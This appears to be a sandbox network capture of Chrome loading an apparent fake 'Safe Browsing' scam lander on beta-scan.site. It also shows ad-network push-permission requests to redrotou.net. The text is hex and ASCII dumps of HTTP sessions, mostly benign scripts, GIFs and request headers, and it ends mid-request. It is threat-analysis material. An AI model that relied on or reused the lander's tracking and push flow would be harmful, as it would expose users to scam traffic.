2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 69 66 28 62 3d 3d 31 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 29 72 65 74 75 72 6e 20 57 61 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 5b 30 5d 29 3b 66 6f 72 28 76 61 72 20 63 3d 7b 7d 2c 64 3d 30 3b 64 3c 62 3b 64 2b 2b 29 63 5b 61 72 67 75 6d 65 6e 74 73 5b 64 5d 5d 3d 21 30 3b 72 65 74 75 72 6e 20 63 7d 3b 5f 2e 58 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3b 72 65 74 75 72 6e 28 62 3d 28 64 3d 28 63 3d 62 2e 64 6f 63 75 6d 65 6e 74 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 61 2b 22 5b 6e 6f 6e 63 65 5d 22 29 29 3f 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 Data Ascii: ents.length;if(b==1&&Array.isArray(arguments[0]))return Wa.apply(null,arguments[0]);for(var c={},d=0;d<b;d++)c[arguments[d]]=!0;return c};_.Xa=function(a,b){var c,d;return(b=(d=(c=b.document).querySelector)==null?void 0:d.call(c,a+"[nonce]"))?b.nonce\|\|b.g
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f 2e 6d 62 3d 6c 62 28 74 68 69 73 29 3b 77 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 69 66 28 62 29 61 3a 7b 76 61 72 20 63 3d 5f 2e 6d 62 3b 61 3d 61 2e 73 70 6c 69 74 28 22 2e 22 29 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 2d 31 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 21 28 65 20 69 6e 20 63 29 29 62 72 65 61 6b 20 61 3b 63 3d 63 5b 65 5d 7d 61 3d 61 5b 61 2e 6c 65 6e 67 74 68 2d 31 5d 3b 64 3d 63 5b 61 5d Data Ascii: obal&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.mb=lb(this);w=function(a,b){if(b)a:{var c=_.mb;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a]
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 6a 62 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 64 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 5f 2e 70 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 29 7b 61 3d 5f 2e 79 28 61 29 3b 66 6f 72 28 76 61 72 20 62 2c 63 3d 5b 5d 3b 21 28 62 3d 61 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 63 2e 70 75 73 68 28 62 2e 76 61 6c 75 65 29 3b 61 3d 63 7d 72 65 74 75 72 6e 20 61 7d 3b 71 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 0a 72 62 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: )return{next:jb(a)};throw Error("d`"+String(a));};_.pb=function(a){if(!(a instanceof Array)){a=_.y(a);for(var b,c=[];!(b=a.next()).done;)c.push(b.value);a=c}return a};qb=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};rb=typeof Object.ass
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 62 2c 63 29 3b 64 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 63 2c 64 29 7d 65 6c 73 65 20 61 5b 63 5d 3d 62 5b 63 5d 3b 61 2e 4f 3d 62 2e 70 72 6f 74 6f 74 79 70 65 7d 3b 5f 2e 45 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 4e 75 6d 62 65 72 28 74 68 69 73 29 2c 62 3d 5b 5d 2c 63 3d 61 3b 63 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 62 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 52 65 66 6c 65 63 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a Data Ascii: Properties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.O=b.prototype};_.Ea=function(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=arguments[c];return b};w("Reflect",function(a){return a?a:
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 61 3b 64 65 66 61 75 6c 74 3a 68 3d 21 31 7d 68 3f 74 68 69 73 2e 48 28 67 29 3a 74 68 69 73 2e 73 28 67 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 48 3d 0a 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 68 3d 76 6f 69 64 20 30 3b 74 72 79 7b 68 3d 67 2e 74 68 65 6e 7d 63 61 74 63 68 28 6c 29 7b 74 68 69 73 2e 6f 28 6c 29 3b 72 65 74 75 72 6e 7d 74 79 70 65 6f 66 20 68 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 74 68 69 73 2e 4a 28 68 2c 67 29 3a 74 68 69 73 2e 73 28 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 42 28 32 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 74 68 69 73 2e 42 28 31 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 42 3d 66 Data Ascii: a;default:h=!1}h?this.H(g):this.s(g)}};e.prototype.H=function(g){var h=void 0;try{h=g.then}catch(l){this.o(l);return}typeof h=="function"?this.J(h,g):this.s(g)};e.prototype.o=function(g){this.B(2,g)};e.prototype.s=function(g){this.B(1,g)};e.prototype.B=f
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 67 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 76 6f 69 64 20 30 2c 67 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 73 77 69 74 63 68 28 6d 2e 67 29 7b 63 61 73 65 20 31 3a 67 28 6d 2e 6a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 68 28 6d 2e 6a 29 3b 62 72 65 61 6b 3b 64 65 66 61 75 6c 74 3a 74 68 72 6f 77 20 45 72 72 6f 72 28 22 6a 60 22 2b 6d 2e 67 29 3b 7d 7d 76 61 72 20 6d 3d 74 68 69 73 3b 74 68 69 73 2e 68 3d 3d 0a 6e 75 6c 6c 3f 66 2e 68 28 6c 29 3a 74 68 69 73 2e 68 2e 70 75 73 68 28 6c 29 3b 74 68 69 73 2e 41 3d 21 30 7d 3b 65 2e 72 65 73 6f 6c 76 65 3d 63 3b 65 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 67 29 Data Ascii: unction(g){return this.then(void 0,g)};e.prototype.Nd=function(g,h){function l(){switch(m.g){case 1:g(m.j);break;case 2:h(m.j);break;default:throw Error("j`"+m.g);}}var m=this;this.h==null?f.h(l):this.h.push(l);this.A=!0};e.resolve=c;e.reject=function(g)
2024-10-03 15:19:00 UTC	1390	IN	Data Raw: 61 28 5b 5b 6c 2c 32 5d 2c 5b 6d 2c 33 5d 5d 29 3b 69 66 28 6e 2e 67 65 74 28 6c 29 21 3d 32 7c 7c 6e 2e 67 65 74 28 6d 29 21 3d 33 29 72 65 74 75 72 6e 21 31 3b 6e 2e 64 65 6c 65 74 65 28 6c 29 3b 6e 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 6e 2e 68 61 73 28 6c 29 26 26 6e 2e 67 65 74 28 6d 29 3d 3d 34 7d 63 61 74 63 68 28 70 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 0a 76 61 72 20 66 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 67 3d 30 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 67 3d 28 67 2b 3d 4d Data Ascii: a([[l,2],[m,3]]);if(n.get(l)!=2\|\|n.get(m)!=3)return!1;n.delete(l);n.set(m,4);return!n.has(l)&&n.get(m)==4}catch(p){return!1}}())return a;var f="$jscomp_hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var g=0,h=function(l){this.g=(g+=M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.17	55795	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	513	OUT	GET /landers/gsb/GSB/files/images/action_2.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:01 UTC	278	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: image/gif Content-Length: 377 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-179" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:01 UTC	377	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 04 03 03 fe fe fe 19 17 18 30 2f 31 e5 e5 e4 47 46 49 d6 d5 d6 ad ad ad 80 7e 80 c6 c6 c6 a6 a7 aa fc fc fc 69 67 67 d0 d0 d0 e7 e7 e7 a2 9f a0 86 85 87 55 54 54 8c 8c 8d b2 b3 b3 ef ef ef 98 99 9b 70 70 70 b6 b6 b7 7a 77 7a c0 c0 c1 5f 5c 61 f9 f9 f9 95 92 92 e1 e1 e1 d9 d9 d9 f4 f4 f4 f7 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 06 96 c0 80 70 b8 41 20 16 0b 82 63 31 6c 3a 18 00 00 22 53 28 10 9a c2 c6 40 00 91 6c 01 02 03 Data Ascii: GIF89a0/1GFI~iggUTTpppzwz_\a!,pA c1l:"S(@l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.17	55796	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:00 UTC	513	OUT	GET /landers/gsb/GSB/files/images/action_1.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:01 UTC	276	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: image/gif Content-Length: 69 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-45" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:01 UTC	69	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 80 00 00 fe fe fe c7 1a 01 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 02 1c 84 8f 69 c1 ed be 9e 64 aa da 8b e6 8c 1a e2 0f 76 0f 27 06 e0 79 95 0d 29 a2 47 01 00 3b Data Ascii: GIF89a!,idv'y)G;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.17	55798	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	513	OUT	GET /landers/gsb/GSB/files/images/action_3.gif HTTP/1.1 Host: beta-scan.site Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:01 UTC	277	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: image/gif Content-Length: 234 Last-Modified: Thu, 29 Aug 2024 10:49:04 GMT Connection: close ETag: "66d05220-ea" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-10-03 15:19:01 UTC	234	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 c4 00 00 fe fe fe 19 17 18 70 70 70 04 03 03 30 2f 31 69 67 67 c0 c0 c1 7a 77 7a 47 46 49 fc fc fc f9 f9 f9 c6 c6 c6 5f 5c 61 a6 a7 aa 55 54 54 e9 e9 ea 80 7e 80 f7 f7 f7 ef ef ef e5 e5 e4 d6 d5 d6 d0 d0 d0 a2 9f a0 b6 b6 b7 d9 d9 d9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 10 00 10 00 00 05 67 20 00 34 85 41 61 8f a8 ae 80 30 08 0e 52 40 86 c2 8a 47 50 10 41 1f 20 8b 5b 4e c0 f3 0d 10 12 d6 b0 e8 0b 58 1e 09 95 20 40 6c fa 04 11 69 e0 c0 34 1e a2 a2 29 71 60 0d 34 56 d3 43 8c 21 18 13 82 aa c2 e0 02 88 28 a2 0b 84 60 b2 92 1b 6e 80 7e 80 37 82 83 2a 09 85 86 00 0a 0c 03 7f 8a 00 09 10 04 15 90 21 00 3b Data Ascii: GIF89appp0/1iggzwzGFI_\aUTT~!,g 4Aa0R@GPA [NX @li4)q`4VC!(`n~7*!;

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.17	55797	40.126.31.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4808 Host: login.live.com
2024-10-03 15:19:01 UTC	4808	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-03 15:19:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 03 Oct 2024 15:18:01 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: 90a2c446-d41a-46cd-9b84-9cf16415b05c PPServer: PPV: 30 H: PH1PEPF00011E5B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 03 Oct 2024 15:19:01 GMT Connection: close Content-Length: 11177
2024-10-03 15:19:01 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	55802	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	1275	OUT	GET /zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=settings&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ== HTTP/1.1 Host: redrotou.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://beta-scan.site Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:19:01 UTC	553	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: application/json; charset=utf-8 Content-Length: 565 Connection: close Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model Access-Control-Allow-Origin: https://beta-scan.site Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Origin, X-Requested-With, X-Oaid, Content-Type, Accept Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff
2024-10-03 15:19:01 UTC	565	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 63 6f 64 65 22 3a 22 6a 73 54 61 67 50 61 72 61 6d 65 74 65 72 73 22 2c 22 75 6e 73 75 70 70 6f 72 74 65 64 22 3a 66 61 6c 73 65 2c 22 61 66 74 65 72 43 6c 6f 73 65 44 65 6c 61 79 22 3a 33 2c 22 61 6c 6c 6f 77 50 6f 70 75 70 49 66 48 74 74 70 73 44 65 6e 69 65 64 22 3a 74 72 75 65 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 47 65 6f 22 3a 22 75 73 22 2c 22 63 75 73 74 6f 6d 50 61 72 61 6d 73 49 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 64 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 6a 6f 75 74 65 65 74 75 2e 6e 65 74 22 2c 22 66 6f 72 63 65 53 74 61 6e 64 61 6c 6f 6e 65 22 3a 74 72 75 65 2c 22 69 6e 6a 65 63 74 69 6f 6e 73 22 3a 6e 75 6c 6c 2c 22 69 6e 73 74 61 6c 6c 5f 63 74 78 22 3a 7b 22 63 Data Ascii: {"status":true,"code":"jsTagParameters","unsupported":false,"afterCloseDelay":3,"allowPopupIfHttpsDenied":true,"customParamsGeo":"us","customParamsIp":"8.46.123.33","domain":"https://jouteetu.net","forceStandalone":true,"injections":null,"install_ctx":{"c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	55800	38.180.68.202	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	953	OUT	GET /sw-check-permissions-fd64c.js?zoneId=6508804 HTTP/1.1 Host: beta-scan.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://beta-scan.site/c1d5l2k.php?key=g80kd2wnrie3yts7ma45&cost=0.09000&camp_id=766716&country=US&platform=Windows&zone_id=&source_id= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uclick=e2371nwj; uclickhash=e2371nwj-e2371nwj-gxdz-0-h98n-3zvr-9l0-4efc22; GoogleAccountsLocale_session=en; googtrans=/en/en
2024-10-03 15:19:01 UTC	210	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 03 Oct 2024 15:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-10-03 15:19:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	55801	139.45.197.251	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:19:01 UTC	1305	OUT	POST /zone?pub=0&zone_id=6508804&is_mobile=false&domain=beta-scan.site&var=&ymid=&var_3=&var_4=&dsig=&tg=1&sw=3.1.560&trace_id=afd3b0fa-fea6-4dbc-aad1-0dc291521744&action=prerequest&ch=eyJhcmNoaXRlY3R1cmUiOiJ4ODYiLCJiaXRuZXNzIjoiNjQiLCJicmFuZHMiOlt7ImJyYW5kIjoiR29vZ2xlIENocm9tZSIsInZlcnNpb24iOiIxMTcifSx7ImJyYW5kIjoiTm90O0E9QnJhbmQiLCJ2ZXJzaW9uIjoiOCJ9LHsiYnJhbmQiOiJDaHJvbWl1bSIsInZlcnNpb24iOiIxMTcifV0sImZ1bGxWZXJzaW9uTGlzdCI6W3siYnJhbmQiOiJHb29nbGUgQ2hyb21lIiwidmVyc2lvbiI6IjExNy4wLjU5MzguMTQ5In0seyJicmFuZCI6Ik5vdDtBPUJyYW5kIiwidmVyc2lvbiI6IjguMC4wLjAifSx7ImJyYW5kIjoiQ2hyb21pdW0iLCJ2ZXJzaW9uIjoiMTE3LjAuNTkzOC4xNDkifV0sIm1vYmlsZSI6ZmFsc2UsIm1vZGVsIjoiIiwicGxhdGZvcm0iOiJXaW5kb3dzIiwicGxhdGZvcm1WZXJzaW9uIjoiMTAuMC4wIiwid293NjQiOmZhbHNlfQ==&drf= HTTP/1.1 Host: redrotou.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" 